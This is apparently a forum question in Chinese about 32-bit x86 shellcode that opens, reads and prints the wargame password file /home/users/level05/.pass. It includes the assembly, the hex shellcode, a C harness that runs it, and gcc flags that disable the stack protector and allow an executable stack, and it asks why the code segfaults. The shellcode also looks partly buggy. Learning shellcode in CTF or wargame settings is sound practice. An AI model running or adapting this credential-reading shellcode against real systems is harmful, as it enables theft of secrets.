我正在尝试编写一个简单的shellcode来读取文件的内容 .
这是我的集会:
xor eax, eax
xor ecx, ecx
xor edx, edx
push 0x73 ; /home/users/level05/.pass
push 0x7361702e ;
push 0x2f35306c
push 0x6576656c
push 0x2f737265
push 0x73752f65
push 0x6d6f682f
mov ebx, esp
mov al, 0x05
int 0x80 ; open
mov ebx, eax
xor eax, eax
xor edx, edx
mov dl, 0x10
mov ecx, esp
mov al, 0x03
int 0x80 ; read
mov ecx, eax
xor ebx, ebx
mov bl, 0x01
mov al, 0x04
int 0x80 ; write
`
因此,如果我将其转换为shellcode,并且只是运行它,我就会出现分段错误 .
我验证了我的代码,看起来不错 . 要读取的文件也存在,我对它有权利 .
我编译它在x86 linux上运行 .
我编译程序:这个主要:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"MYSHELLCODE";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
我跑: gcc c-shell.c -o shell -fno-stack-protector -z execstack -m32
shellcode: \x31\xc0\x31\xc9\x31\xd2\x6a\x73\x68\x2e\x70\x61\x73\x68\x6c\x30\x35\x2f\x68\x6c\x65\x76\x65\x68\x65\x72\x73\x2f\x68\x65\x2f\x75\x73\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x05\xcd\x80\x89\xc3\x31\xc0\x31\xd2\xb2\x10\x89\xe1\xb0\x03\xcd\x80\x89\xc1\x31\xdb\xb3\x01\xb0\x04\xcd\x80
68字节`